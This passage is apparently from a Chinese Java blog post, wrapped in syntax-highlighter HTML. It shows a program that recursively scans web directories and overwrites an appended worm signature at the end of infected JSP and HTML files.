<img id="Codehighlighter1_298_718_Open_Image" onclick="this.style.display='none'; Codehighlighter1_298_718_Open_Text.style.display='none'; Codehighlighter1_298_718_Closed_Image.style.display='inline'; Codehighlighter1_298_718_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_298_718_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_298_718_Closed_Text.style.display='none'; Codehighlighter1_298_718_Open_Image.style.display='inline'; Codehighlighter1_298_718_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_298_718_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_298_718_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RandomAccessFile&nbsp;r&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;RandomAccessFile(page,&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">rw</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(r.length()&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">68</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">return</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r.seek(r.length()&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">68</span><span style="color: #000000">);</span><span style="color: #008000">//</span><span style="color: #008000">跳到最后一行</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;shit&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;r.readLine();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(shit.equals(worm))<br />
<img id="Codehighlighter1_490_714_Open_Image" onclick="this.style.display='none'; Codehighlighter1_490_714_Open_Text.style.display='none'; Codehighlighter1_490_714_Closed_Image.style.display='inline'; Codehighlighter1_490_714_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_490_714_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_490_714_Closed_Text.style.display='none'; Codehighlighter1_490_714_Open_Image.style.display='inline'; Codehighlighter1_490_714_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_490_714_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_490_714_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">System.out.println("shit&nbsp;content:"+shit);</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(</span><span style="color: #000000">"</span><span style="color: #000000">修复损坏文件：</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;page.getPath());<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r.seek(r.length()&nbsp;</span><span style="color: #000000">-</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">68</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;(</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">0</span><span style="color: #000000">;&nbsp;i&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;worm.length();&nbsp;i</span><span style="color: #000000">++</span><span style="color: #000000">)<br />
<img id="Codehighlighter1_669_698_Open_Image" onclick="this.style.display='none'; Codehighlighter1_669_698_Open_Text.style.display='none'; Codehighlighter1_669_698_Closed_Image.style.display='inline'; Codehighlighter1_669_698_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_669_698_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_669_698_Closed_Text.style.display='none'; Codehighlighter1_669_698_Open_Image.style.display='inline'; Codehighlighter1_669_698_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_669_698_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_669_698_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r.writeBytes(</span><span style="color: #000000">""</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;num</span><span style="color: #000000">++</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">catch</span><span style="color: #000000">&nbsp;(Exception&nbsp;e)<br />
<img id="Codehighlighter1_744_772_Open_Image" onclick="this.style.display='none'; Codehighlighter1_744_772_Open_Text.style.display='none'; Codehighlighter1_744_772_Closed_Image.style.display='inline'; Codehighlighter1_744_772_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_744_772_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_744_772_Closed_Text.style.display='none'; Codehighlighter1_744_772_Open_Image.style.display='inline'; Codehighlighter1_744_772_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_744_772_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_744_772_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;e.printStackTrace();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;doDir(File&nbsp;dir)<br />
<img id="Codehighlighter1_808_1203_Open_Image" onclick="this.style.display='none'; Codehighlighter1_808_1203_Open_Text.style.display='none'; Codehighlighter1_808_1203_Closed_Image.style.display='inline'; Codehighlighter1_808_1203_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_808_1203_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_808_1203_Closed_Text.style.display='none'; Codehighlighter1_808_1203_Open_Image.style.display='inline'; Codehighlighter1_808_1203_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_808_1203_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_808_1203_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(dir.canRead())<br />
<img id="Codehighlighter1_833_1200_Open_Image" onclick="this.style.display='none'; Codehighlighter1_833_1200_Open_Text.style.display='none'; Codehighlighter1_833_1200_Closed_Image.style.display='inline'; Codehighlighter1_833_1200_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_833_1200_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_833_1200_Closed_Text.style.display='none'; Codehighlighter1_833_1200_Open_Image.style.display='inline'; Codehighlighter1_833_1200_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_833_1200_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_833_1200_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(dir.isDirectory())<br />
<img id="Codehighlighter1_864_1038_Open_Image" onclick="this.style.display='none'; Codehighlighter1_864_1038_Open_Text.style.display='none'; Codehighlighter1_864_1038_Closed_Image.style.display='inline'; Codehighlighter1_864_1038_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_864_1038_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_864_1038_Closed_Text.style.display='none'; Codehighlighter1_864_1038_Open_Image.style.display='inline'; Codehighlighter1_864_1038_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_864_1038_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_864_1038_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String[]&nbsp;files&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;dir.list();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(files&nbsp;</span><span style="color: #000000">!=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">null</span><span style="color: #000000">)<br />
<img id="Codehighlighter1_926_1033_Open_Image" onclick="this.style.display='none'; Codehighlighter1_926_1033_Open_Text.style.display='none'; Codehighlighter1_926_1033_Closed_Image.style.display='inline'; Codehighlighter1_926_1033_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_926_1033_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_926_1033_Closed_Text.style.display='none'; Codehighlighter1_926_1033_Open_Image.style.display='inline'; Codehighlighter1_926_1033_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_926_1033_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_926_1033_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;(</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">0</span><span style="color: #000000">;&nbsp;i&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;files.length;&nbsp;i</span><span style="color: #000000">++</span><span style="color: #000000">)<br />
<img id="Codehighlighter1_977_1027_Open_Image" onclick="this.style.display='none'; Codehighlighter1_977_1027_Open_Text.style.display='none'; Codehighlighter1_977_1027_Closed_Image.style.display='inline'; Codehighlighter1_977_1027_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_977_1027_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_977_1027_Closed_Text.style.display='none'; Codehighlighter1_977_1027_Open_Image.style.display='inline'; Codehighlighter1_977_1027_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_977_1027_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_977_1027_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;doDir(</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;File(dir,&nbsp;files[i]));</span><span style="color: #008000">//</span><span style="color: #008000">&nbsp;递归</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">else</span><span style="color: #000000"><br />
<img id="Codehighlighter1_1051_1196_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1051_1196_Open_Text.style.display='none'; Codehighlighter1_1051_1196_Closed_Image.style.display='inline'; Codehighlighter1_1051_1196_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_1051_1196_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_1051_1196_Closed_Text.style.display='none'; Codehighlighter1_1051_1196_Open_Image.style.display='inline'; Codehighlighter1_1051_1196_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_1051_1196_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_1051_1196_Open_Text"><span style="color: #000000">{</span><span style="color: #008000">//</span><span style="color: #008000">&nbsp;is&nbsp;File</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;name&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;dir.getName();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(name.endsWith(</span><span style="color: #000000">"</span><span style="color: #000000">jsp</span><span style="color: #000000">"</span><span style="color: #000000">)&nbsp;</span><span style="color: #000000">||</span><span style="color: #000000">&nbsp;name.endsWith(</span><span style="color: #000000">"</span><span style="color: #000000">html</span><span style="color: #000000">"</span><span style="color: #000000">)&nbsp;</span><span style="color: #000000">||</span><span style="color: #000000">&nbsp;name.endsWith(</span><span style="color: #000000">"</span><span style="color: #000000">htm</span><span style="color: #000000">"</span><span style="color: #000000">))<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;repair(dir);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">static</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;main(String[]&nbsp;args)<br />
<img id="Codehighlighter1_1247_1426_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1247_1426_Open_Text.style.display='none'; Codehighlighter1_1247_1426_Closed_Image.style.display='inline'; Codehighlighter1_1247_1426_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_1247_1426_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_1247_1426_Closed_Text.style.display='none'; Codehighlighter1_1247_1426_Open_Image.style.display='inline'; Codehighlighter1_1247_1426_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_1247_1426_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_1247_1426_Open_Text"><span style="color: #000000">{<br />
<img src="http://ww